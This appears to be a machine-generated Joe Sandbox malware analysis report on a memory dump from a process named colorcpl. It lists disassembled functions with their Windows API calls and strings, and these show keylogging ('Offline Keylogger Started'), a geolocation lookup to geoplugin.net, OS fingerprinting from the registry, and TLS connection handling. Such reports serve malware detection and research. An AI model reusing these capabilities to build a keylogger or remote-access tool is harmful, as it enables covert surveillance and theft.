                                                                                    control_flow_graph 1041 28244da-282455d call 28120d6 SetEvent call 2811f8b call 2814182 call 28120d6 * 2 call 2829d87 1054 2824563 1041->1054 1055 2825281-282528a 1041->1055 1056 2825188-2825248 call 28257e1 call 2811e45 call 2811f8b call 2849867 call 2825ceb call 2818b5f call 2811e45 call 28120d6 call 2811e45 call 28120d6 call 2811e45 call 2811f8b call 281415e call 2811e45 call 2811f8b call 281415e call 281838e 1054->1056 1057 2824569-282456d 1054->1057 1058 2825290-2825297 1055->1058 1059 2825654-282567d call 2811e6d call 2811fb8 * 2 1055->1059 1317 2825270-282527c call 2818ae3 1056->1317 1318 282524a-282526b call 2818b73 call 2818aee call 2818b0f 1056->1318 1057->1059 1061 2824573-2824575 1057->1061 1058->1059 1062 28255a3-28255a8 call 2828e2b 1058->1062 1063 28252c1-28252e1 call 2811e45 call 2811f8b call 2849867 call 2818a88 1058->1063 1064 28252e6-282535a call 2811e45 call 2811f8b StrToIntA call 2811e45 call 2811f8b call 281c5ed call 2811ee4 call 2811e45 call 282a27c call 2811ee4 call 282a76c call 2811ee9 1058->1064 1065 28254e6-2825501 call 2811e45 call 28120d6 call 28259ba 1058->1065 1066 2825506-282550b call 2828e33 1058->1066 1067 28253ca 1058->1067 1068 282548f-28254ae call 2811e45 call 2815ae5 1058->1068 1069 282558f-2825594 call 2828ccd 1058->1069 1070 28255ad-28255eb call 28166a6 call 2811e45 call 2829b16 call 2812ef0 * 2 1058->1070 1071 2825412-282542d call 2811e45 call 28120d6 call 2827a63 1058->1071 1072 2825432-282544d call 2811e45 call 28120d6 call 2813f08 1058->1072 1073 2825452-282548a call 2811e45 call 2811f8b call 2812073 call 2811f8b call 282215f 1058->1073 1074 2825510-2825517 1058->1074 1075 28253d1-28253d4 1058->1075 1076 28255f5-2825642 call 2815b0b call 2811e45 * 2 call 2812f11 call 2812ef0 call 2815e74 call 2811fb8 1058->1076 1077 28253da-2825407 call 2811e45 call 2811f8b call 2811e45 call 2811f8b call 2849867 SetWindowTextW 1058->1077 1078 2825599-282559e call 2828dec 1058->1078 1079 282529e-28252b4 call 2811e45 call 28120d6 1058->1079 1080 282535f-28253c5 call 2817ba0 call 2811e45 call 28120d6 call 2811e45 call 28120d6 call 2811e45 call 28120d6 call 281631d call 2817bae 1058->1080 1081 282555d-282558a call 2811e45 call 28151c3 call 2811e45 call 2828dcb 1058->1081 1096 2824728-282472f 1061->1096 1097 282457c-28245ad GetTickCount call 2829b16 call 2829ac6 call 2829b16 call 2829a77 1061->1097 1062->1059 1063->1059 1064->1059 1066->1059 1067->1075 1166 28254b0-28254c5 call 2811e45 call 28120d6 1068->1166 1167 28254c7-28254d7 call 2811e45 call 28120d6 1068->1167 1069->1059 1070->1076 1168 28252b9-28252bc 1071->1168 1072->1168 1073->1059 1085 2825519-2825539 call 282aa4f CreateThread 1074->1085 1086 282553e-2825558 ShowWindow SetForegroundWindow 1074->1086 1075->1077 1264 282564b-282564f 1076->1264 1265 2825646 call 2811fb8 1076->1265 1077->1071 1078->1059 1079->1168 1169 28252b4 call 2816bda 1079->1169 1080->1059 1081->1059 1085->1059 1086->1059 1123 28246f5-28246fa call 28150c4 1096->1123 1228 28245b2-28246ac call 2829c8a call 2811e45 call 2812f11 call 2812e81 call 2812ef0 call 2812e81 call 2812ef0 call 2812e81 call 2814a81 call 2811fb8 * 6 call 2811ee9 call 2811fb8 * 2 call 2811e45 call 2811f8b call 2849867 1097->1228 1123->1059 1235 28254dc-28254e1 call 28257f2 1166->1235 1167->1235 1168->1059 1169->1168 1343 28246d4-28246ec call 2811e45 call 2815ae5 1228->1343 1344 28246ae-28246ba call 28146d3 1228->1344 1235->1059 1264->1059 1272 282564f call 2811fb8 1264->1272 1265->1264 1272->1059 1317->1059 1318->1317 1343->1059 1357 28246f2-28246f3 1343->1357 1349 28246c7-28246cf call 2814f31 1344->1349 1350 28246bc-28246c2 call 2814fd4 1344->1350 1349->1059 1350->1059 1357->1123
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CountEventTick
                                                                                    • String ID: hlight
                                                                                    • API String ID: 180926312-4166879102
                                                                                    • Opcode ID: 10b5112ed359621a8aaa5d557861cccd67f98c1d7c0c10224a240f6dd8b54b05
                                                                                    • Instruction ID: a418d5069f611c9be833d6d6c10d6176db5b5090e8a81be909f7c9ae6e04a060
                                                                                    • Opcode Fuzzy Hash: 10b5112ed359621a8aaa5d557861cccd67f98c1d7c0c10224a240f6dd8b54b05
                                                                                    • Instruction Fuzzy Hash: B6F1C23D6442105BD618FBB8D899AAE73AEAF90300F80091DE646D79D4EF74994CCF93
                                                                                    Function 028148A8 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 144COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 1358 28148a8-28148c8 1360 28149fb-28149ff 1358->1360 1361 28148ce-28148d1 1358->1361 1364 2814a01-2814a0f 1360->1364 1365 2814a77 1360->1365 1362 28149f7-28149f9 1361->1362 1363 28148d7-28148da 1361->1363 1366 2814a79-2814a7e 1362->1366 1367 2814906-2814910 call 282ea15 1363->1367 1368 28148dc-2814903 call 28152fe call 2812073 call 28294da 1363->1368 1364->1365 1373 2814a11-2814a14 1364->1373 1365->1366 1375 2814921-281492e call 282ec44 1367->1375 1376 2814912-281491c 1367->1376 1368->1367 1378 2814a51-2814a56 1373->1378 1379 2814a16-2814a4f call 282a86b call 28152dd call 2812073 call 28294da call 2811fb8 1373->1379 1389 2814930-2814953 call 2812073 * 2 call 28294da 1375->1389 1390 2814967-2814972 call 282f7f5 1375->1390 1380 2814a5b-2814a74 call 2812073 * 2 call 28294da 1376->1380 1378->1380 1379->1365 1380->1365 1422 2814956-2814962 call 282ea55 1389->1422 1401 28149a4-28149b1 call 282ebbb 1390->1401 1402 2814974-28149a2 call 2812073 * 2 call 28294da call 282ee67 1390->1402 1418 28149b3-28149d6 call 2812073 * 2 call 28294da 1401->1418 1419 28149d9-28149f4 CreateEventW 1401->1419 1402->1422 1418->1419 1419->1362 1422->1365
                                                                                    APIs
                                                                                      • Part of subcall function 028294DA: GetLocalTime.KERNEL32(00000000), ref: 028294F4
                                                                                    • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 028149E0
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CreateEventLocalTime
                                                                                    • String ID: Connection Failed: $Connection Refused$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
                                                                                    • API String ID: 2082726707-2151626615
                                                                                    • Opcode ID: 780f82fa26f22ecfe4c724338b7f169adf30fcad12d14076a082228aa08acb3f
                                                                                    • Instruction ID: 8a1c8dcefe2913907e5f40f766ab5900ced16990c122101b962f814c215be958
                                                                                    • Opcode Fuzzy Hash: 780f82fa26f22ecfe4c724338b7f169adf30fcad12d14076a082228aa08acb3f
                                                                                    • Instruction Fuzzy Hash: 7341152DA402116BBA18BB7D881A82D7B1FAB51304B40024DDC06C7BDDEF21E824CBE7
                                                                                    Function 0282936B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69networkfileCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
                                                                                    • InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 02829392
                                                                                    • InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 028293A8
                                                                                    • InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 028293C1
                                                                                    • InternetCloseHandle.WININET(00000000), ref: 02829407
                                                                                    • InternetCloseHandle.WININET(00000000), ref: 0282940A
                                                                                    Strings
                                                                                    • http://geoplugin.net/json.gp, xrefs: 028293A2
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Internet$CloseHandleOpen$FileRead
                                                                                    • String ID: http://geoplugin.net/json.gp
                                                                                    • API String ID: 3121278467-91888290
                                                                                    • Opcode ID: ef551f31b33b1d7ac1660a73f4feaf48899887a99481d475c29f744d76906398
                                                                                    • Instruction ID: c27514b84e56891a29c0c38b7a22af5dda7a4c455b9f1ab710416c094265728e
                                                                                    • Opcode Fuzzy Hash: ef551f31b33b1d7ac1660a73f4feaf48899887a99481d475c29f744d76906398
                                                                                    • Instruction Fuzzy Hash: 7211947D5053226BD224EE299D48EAB7F9DEF85660F04093DF809D22C0DB659848CAE2
                                                                                    Function 028292AE Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 1471 28292ae-2829305 call 2829f23 call 2821f91 call 2811fc2 call 2811fb8 call 28160ea 1482 2829307-2829316 call 2821f91 1471->1482 1483 2829348-2829351 1471->1483 1488 282931b-2829332 call 2811f8b StrToIntA 1482->1488 1484 2829353-2829358 1483->1484 1485 282935a 1483->1485 1487 282935f-282936a call 281535d 1484->1487 1485->1487 1493 2829340-2829343 call 2811fb8 1488->1493 1494 2829334-282933d call 282accf 1488->1494 1493->1483 1494->1493
                                                                                    APIs
                                                                                      • Part of subcall function 02829F23: GetCurrentProcess.KERNEL32(?,?,?,0281C663,WinDir,00000000,00000000), ref: 02829F34
                                                                                      • Part of subcall function 02821F91: RegOpenKeyExA.KERNEL32(80000002,00000400,00000000,00020019,00000000,00000000,00000000), ref: 02821FB5
                                                                                      • Part of subcall function 02821F91: RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000400), ref: 02821FD2
                                                                                      • Part of subcall function 02821F91: RegCloseKey.KERNEL32(00000000), ref: 02821FDD
                                                                                    • StrToIntA.SHLWAPI(00000000,02879710,00000000,00000000,00000000,02881FFC,00000001,?,?,?,?,?,?,0281D6A0), ref: 02829327
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseCurrentOpenProcessQueryValue
                                                                                    • String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                                                                    • API String ID: 1866151309-2070987746
                                                                                    • Opcode ID: a12233e496ab5b3576646457f7196fab95a98774b4e8915d70657746203ae5da
                                                                                    • Instruction ID: 174f805ab7a0f6b0492c2c0ea113bf67d4899ee6a0aa9e2b0f97b56bd5565b05
                                                                                    • Opcode Fuzzy Hash: a12233e496ab5b3576646457f7196fab95a98774b4e8915d70657746203ae5da
                                                                                    • Instruction Fuzzy Hash: 9211296DA402502AE700B66CDC5EE7F775F8B94211F680924E90AD72C1FF74488AC7B3
                                                                                    Function 0281971E Relevance: 9.2, APIs: 6, Instructions: 163sleepCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
                                                                                    • Sleep.KERNEL32(00001388), ref: 02819738
                                                                                      • Part of subcall function 0281966D: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,02819745), ref: 028196A3
                                                                                      • Part of subcall function 0281966D: GetFileSize.KERNEL32(00000000,00000000,?,?,?,02819745), ref: 028196B2
                                                                                      • Part of subcall function 0281966D: Sleep.KERNEL32(00002710,?,?,?,02819745), ref: 028196DF
                                                                                      • Part of subcall function 0281966D: CloseHandle.KERNEL32(00000000,?,?,?,02819745), ref: 028196E6
                                                                                    • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 02819774
                                                                                    • GetFileAttributesW.KERNEL32(00000000), ref: 02819785
                                                                                    • SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0281979C
                                                                                    • PathFileExistsW.SHLWAPI(00000000,00000000,00000000,00000012), ref: 02819816
                                                                                      • Part of subcall function 0282A20F: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,00000000,0281983B), ref: 0282A228
                                                                                    • SetFileAttributesW.KERNEL32(00000000,00000006,00000013,02879654,?,00000000,00000000,00000000,00000000,00000000), ref: 0281991F
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
                                                                                    • String ID:
                                                                                    • API String ID: 3795512280-0
                                                                                    • Opcode ID: dd6bc04c1a142991b338d58e0ed8546de6bbe6fb08494aa2275ad26cdcd33420
                                                                                    • Instruction ID: 6a52a6d5d2b0beb305d1c4514d0a02be03801afd53914bc7c2e1a0404be0b1a6
                                                                                    • Opcode Fuzzy Hash: dd6bc04c1a142991b338d58e0ed8546de6bbe6fb08494aa2275ad26cdcd33420
                                                                                    • Instruction Fuzzy Hash: 5C516E7D6042445BCB18FBB8C868ABF779F9F80304F040A1DE64BD71D4EF6599098A53
                                                                                    Function 0282A17B Relevance: 7.6, APIs: 5, Instructions: 67fileCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 1643 282a17b-282a18c 1644 282a1a4-282a1ab 1643->1644 1645 282a18e-282a191 1643->1645 1648 282a1ac-282a1c5 CreateFileW 1644->1648 1646 282a193-282a198 1645->1646 1647 282a19a-282a1a2 1645->1647 1646->1648 1647->1648 1649 282a1c7-282a1c9 1648->1649 1650 282a1cb-282a1d0 1648->1650 1651 282a209-282a20e 1649->1651 1652 282a1d2-282a1e0 SetFilePointer 1650->1652 1653 282a1eb-282a1fc WriteFile 1650->1653 1652->1653 1654 282a1e2-282a1e9 CloseHandle 1652->1654 1655 282a200-282a207 CloseHandle 1653->1655 1656 282a1fe 1653->1656 1654->1649 1655->1651 1656->1655
                                                                                    APIs
                                                                                    • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000000,?,?,00000000,0282A29A,00000000,00000000,?), ref: 0282A1BA
                                                                                    • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,028198DF,?,00000000,00000000), ref: 0282A1D7
                                                                                    • CloseHandle.KERNEL32(00000000,?,028198DF,?,00000000,00000000), ref: 0282A1E3
                                                                                    • WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,028198DF,?,00000000,00000000), ref: 0282A1F4
                                                                                    • CloseHandle.KERNEL32(00000000,?,028198DF,?,00000000,00000000), ref: 0282A201
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$CloseHandle$CreatePointerWrite
                                                                                    • String ID:
                                                                                    • API String ID: 1852769593-0
                                                                                    • Opcode ID: 1ba125da9d1b7e1a22132552de9ac5223a83fa1e5ba7852fe175322f4968573d
                                                                                    • Instruction ID: 935e7eac3789076eab46abfcce3bcd4a33f8d56308b3a20d64273b10fa2e64b2
                                                                                    • Opcode Fuzzy Hash: 1ba125da9d1b7e1a22132552de9ac5223a83fa1e5ba7852fe175322f4968573d
                                                                                    • Instruction Fuzzy Hash: 2D11047D244235BFE7184A249C88F7B779CEF46338F000A29F657D21C0D7258C898631
                                                                                    Function 02819203 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70threadCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
                                                                                    • CreateThread.KERNEL32(00000000,00000000,02819305,?,00000000,00000000), ref: 0281928B
                                                                                    • CreateThread.KERNEL32(00000000,00000000,028192EF,?,00000000,00000000), ref: 0281929B
                                                                                    • CreateThread.KERNEL32(00000000,00000000,Function_00009311,?,00000000,00000000), ref: 028192A7
                                                                                      • Part of subcall function 0281A0B0: GetLocalTime.KERNEL32(?,?,00000000), ref: 0281A0BE
                                                                                      • Part of subcall function 0281A0B0: wsprintfW.USER32 ref: 0281A13F
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CreateThread$LocalTimewsprintf
                                                                                    • String ID: Offline Keylogger Started
                                                                                    • API String ID: 465354869-4114347211
                                                                                    • Opcode ID: 34d61d2bfc1154cea35b1871f642315893d905c8f2854f1e32ffbe6266ca687a
                                                                                    • Instruction ID: 7c32ca849fddde9cd674fd58e6ba8af985ac7a6bc7387e3a95f0719c152ff699
                                                                                    • Opcode Fuzzy Hash: 34d61d2bfc1154cea35b1871f642315893d905c8f2854f1e32ffbe6266ca687a
                                                                                    • Instruction Fuzzy Hash: 2E110AAD6002183EF214B77DDCD6CBB3B5DDA81294F400559F88AC21C5EA505D09CAF3
                                                                                    Function 0282215F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 1679 282215f-2822176 RegCreateKeyA 1680 2822178-28221ad call 281245c call 2811f8b RegSetValueExA RegCloseKey 1679->1680 1681 28221af 1679->1681 1682 28221b1-28221bf call 2811fb8 1680->1682 1681->1682
                                                                                    APIs
                                                                                    • RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,028730C0), ref: 0282216E
                                                                                    • RegSetValueExA.KERNEL32(028730C0,?,00000000,?,00000000,00000000,Control Panel\Desktop,?,?,0282A83B,WallpaperStyle,028730C0), ref: 02822196
                                                                                    • RegCloseKey.KERNEL32(028730C0,?,?,0282A83B,WallpaperStyle,028730C0), ref: 028221A1
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseCreateValue
                                                                                    • String ID: Control Panel\Desktop
                                                                                    • API String ID: 1818849710-27424756
                                                                                    • Opcode ID: e5e2ad48e4da6bf3f4ef1b41f8533a7d71312ca47ec5ee82f368f508518eb124
                                                                                    • Instruction ID: 72ce05011fcbc21f0d31c18077e1e36143f3a5f183057638efb96689343ca8de
                                                                                    • Opcode Fuzzy Hash: e5e2ad48e4da6bf3f4ef1b41f8533a7d71312ca47ec5ee82f368f508518eb124
                                                                                    • Instruction Fuzzy Hash: 7DF0907A540128FFDB00AFA4DC19EEE776CEF04650F108664FE09E6190EB329E14DB91
                                                                                    Function 02821F34 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 02821F54
                                                                                    • RegQueryValueExA.KERNEL32(?,?,00000000,00000000,00000000,?,02882200), ref: 02821F72
                                                                                    • RegCloseKey.KERNEL32(?), ref: 02821F7D
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseOpenQueryValue
                                                                                    • String ID: pth_unenc
                                                                                    • API String ID: 3677997916-4028850238
                                                                                    • Opcode ID: 883d2ac10b749e116afdfc28146e3ded272ba3b35e1648762d9464ae1d69374a
                                                                                    • Instruction ID: 2da0a9d9438a2bf8ce3c3ae2c511f657080ce16e2375653f53325cda0576523a
                                                                                    • Opcode Fuzzy Hash: 883d2ac10b749e116afdfc28146e3ded272ba3b35e1648762d9464ae1d69374a
                                                                                    • Instruction Fuzzy Hash: 51F0F97AD40218BFDF109FA09D49FE97BBCEF04710F1045A5FA08E6181E2355A689B91
                                                                                    Function 0281966D Relevance: 6.1, APIs: 4, Instructions: 58sleepfileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,02819745), ref: 028196A3
                                                                                    • GetFileSize.KERNEL32(00000000,00000000,?,?,?,02819745), ref: 028196B2
                                                                                    • Sleep.KERNEL32(00002710,?,?,?,02819745), ref: 028196DF
                                                                                    • CloseHandle.KERNEL32(00000000,?,?,?,02819745), ref: 028196E6
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$CloseCreateHandleSizeSleep
                                                                                    • String ID:
                                                                                    • API String ID: 1958988193-0
                                                                                    • Opcode ID: 6b923536e47c3821d0cfa1a3242f002a8784e712c3bd2b036829f58cf34528fa
                                                                                    • Instruction ID: 43b7df151e615f3cc6300f81f14cd6de2980ff65a26b8ba5ab50f146cc8283a9
                                                                                    • Opcode Fuzzy Hash: 6b923536e47c3821d0cfa1a3242f002a8784e712c3bd2b036829f58cf34528fa
                                                                                    • Instruction Fuzzy Hash: 6A110A7CA403C0ABD735BB7C98ADB2E3A9FAB46308F040C08E285C76C6D7556464C736
                                                                                    Function 02821F91 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegOpenKeyExA.KERNEL32(80000002,00000400,00000000,00020019,00000000,00000000,00000000), ref: 02821FB5
                                                                                    • RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000400), ref: 02821FD2
                                                                                    • RegCloseKey.KERNEL32(00000000), ref: 02821FDD
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseOpenQueryValue
                                                                                    • String ID:
                                                                                    • API String ID: 3677997916-0
                                                                                    • Opcode ID: 9c5f73f8522962044856d4a17f49ba1edec010b782a087c6eb4a4de5654f89a2
                                                                                    • Instruction ID: 796282633a36d74355146bf3d1bd7f20461114c3e35b885e59cf5b34eedb9bcc
                                                                                    • Opcode Fuzzy Hash: 9c5f73f8522962044856d4a17f49ba1edec010b782a087c6eb4a4de5654f89a2
                                                                                    • Instruction Fuzzy Hash: 8001A27E900128BBDB209A95DD08DEE7B7DEB84350F000165FA09E2180EB748A59DBA1
                                                                                    Function 028220E8 Relevance: 4.5, APIs: 3, Instructions: 42registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000,02882200), ref: 02822104
                                                                                    • RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000208,?), ref: 0282211D
                                                                                    • RegCloseKey.KERNEL32(00000000), ref: 02822128
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseOpenQueryValue
                                                                                    • String ID:
                                                                                    • API String ID: 3677997916-0
                                                                                    • Opcode ID: 86bd42f548e3189fb8f875ed88fc50c8ca8d8cfbac9b699b09b9b4b65845e6ae
                                                                                    • Instruction ID: b20d59d230cdd7caef64dfea46e419fbd323fe6e5f79d6eef87b873a2cdc99b6
                                                                                    • Opcode Fuzzy Hash: 86bd42f548e3189fb8f875ed88fc50c8ca8d8cfbac9b699b09b9b4b65845e6ae
                                                                                    • Instruction Fuzzy Hash: 5E01E839840139BBCF219F95DC49DEA7F2DEF05350F0045A4FE08A2150E63599B9DBA1
                                                                                    Function 02829797 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GlobalMemoryStatusEx.KERNEL32(?), ref: 028297AB
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: GlobalMemoryStatus
                                                                                    • String ID: @
                                                                                    • API String ID: 1890195054-2766056989
                                                                                    • Opcode ID: 0927dd3668d71505fbe41967a3b33dda8c94fe26dcd4f2e154508b0f675f66c5
                                                                                    • Instruction ID: 826c195fa680dfa18a508338f8b308848f6bea7126b0c4db37ae3ae596782a12
                                                                                    • Opcode Fuzzy Hash: 0927dd3668d71505fbe41967a3b33dda8c94fe26dcd4f2e154508b0f675f66c5
                                                                                    • Instruction Fuzzy Hash: 63D017B99023189FC720DFA8E944A8DBBFCFB08214F00066AEC49E3300E770A8118B90
                                                                                    Function 02853697 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • _free.LIBCMT ref: 028536B8
                                                                                      • Part of subcall function 02853649: RtlAllocateHeap.NTDLL(00000000,02843049,?,?,028465E7,?,?,00000000,?,?,0281C88A,02843049,?,?,?,?), ref: 0285367B
                                                                                    • RtlReAllocateHeap.NTDLL(00000000,02883BF8,?,00000004,00000000,?,0285CD09,02883BF8,00000004,?,02883BF8,?,?,02851386,02883BF8,?), ref: 028536F4
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
